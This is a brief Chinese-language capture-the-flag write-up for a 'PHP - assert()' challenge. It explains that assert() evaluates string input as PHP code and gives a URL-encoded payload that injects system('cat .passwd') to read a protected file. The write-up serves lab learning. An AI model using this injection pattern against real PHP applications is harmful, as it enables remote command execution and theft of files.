PHP - assert()

Find and exploit the vulnerability to read the file .passwd.-------------查找并利用此漏洞读取文件.passwd。

 

assert:

  这个函数在php语言中是用来判断一个表达式是否成立。返回true or false;

        assert ( mixed $assertion [, string $description ] ) : bool

  如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

 


 

开始挑战后,随便加点,让代码报错

 

根据报错提示,拼接payload:

Payload:

%27,%27...%27)%20===false%20and%20%20system(%27cat%20.passwd%27)%20and%20strops(%27

你可能感兴趣的:(PHP - assert())